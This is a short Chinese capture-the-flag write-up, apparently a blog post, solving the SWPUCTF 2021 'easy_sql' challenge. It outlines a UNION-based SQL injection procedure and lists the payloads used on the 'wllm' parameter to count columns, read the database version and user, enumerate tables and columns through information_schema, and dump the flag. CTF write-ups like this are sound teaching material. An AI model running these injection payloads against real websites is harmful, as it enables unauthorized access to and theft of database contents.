[SWPUCTF 2021 新生赛]easy_sql的WriteUp

SQL注入流程:

1. 是否存在注入并且判断注入类型
2. 判断字段数 ' order by 数字 -- '
3. 确定回显点 -1 ' union select 1,2 -- '
4. 查询数据库信息 @@version @@datadir
5. 查询用户名,数据库名 user() database()
6. 查询表名 -1 ' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='数据库名' -- '
7. 查询列名 -1 ' union select 1,2, group_concat(column_name) from information_schema.columns where table_name='表名' -- '
8. 查询flag -1 ' union select 1,2, group_concat(flag所在的列名) from 表名、

检查源码,看是否有参数

需要用到参数wllm
/?wllm=1

判断字段数

/?wllm=-1 ' union order by 3 -- '

查看回显点

/?wllm=-1 ' union select 1,2,3 -- '

/?wllm=-1 ' union select 1, 2, @@version -- '

MariaDB数据库管理系统是MySQL的一个分支,说明需要使用mysql语句注入

/?wllm=-1 ' union select 1, 2, user() -- '

显示root@localhost,说明该用户为root超级管理员用户帐户,可以查看数据库信息

爆表

/?wllm=-1 ' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema='test_db'-- '

有两个表

爆列
/?wllm=-1 ' union select 1, 2, group_concat(column_name) from information_schema.columns where table_name='test_tb' -- '

/?wllm=-1 ' union select 1,2, group_concat(flag) from test_tb -- '

  • 8
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值